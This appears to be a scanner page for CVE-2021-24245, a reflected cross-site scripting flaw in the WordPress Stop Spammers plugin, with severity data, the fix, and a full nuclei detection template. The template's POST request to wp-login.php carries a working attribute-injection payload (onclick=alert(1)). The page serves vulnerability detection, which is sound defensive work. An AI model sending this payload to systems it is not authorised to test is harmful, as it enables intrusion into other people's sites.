WordPress Stop Spammers <2021.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.7%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt
Positive when: contains "Stop Spammers Spam Prevention" and "Tags:"
Send: POST /wp-login.php
Positive when: contains in header "text/html" AND contains "ad\" accesskey=X onclick=alert(1)" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24245 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24245

info:
  name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24245
    - http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24245
    cwe-id: CWE-79
    epss-score: 0.05721
    epss-percentile: 0.93102
    cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: trumani
    product: "stop_spammers"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,packetstorm,trumani,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Stop Spammers Spam Prevention'
          - 'Tags:'
        condition: and

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check;

        log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "ad\" accesskey=X onclick=alert(1)"

      - type: status
        status:
          - 200

References

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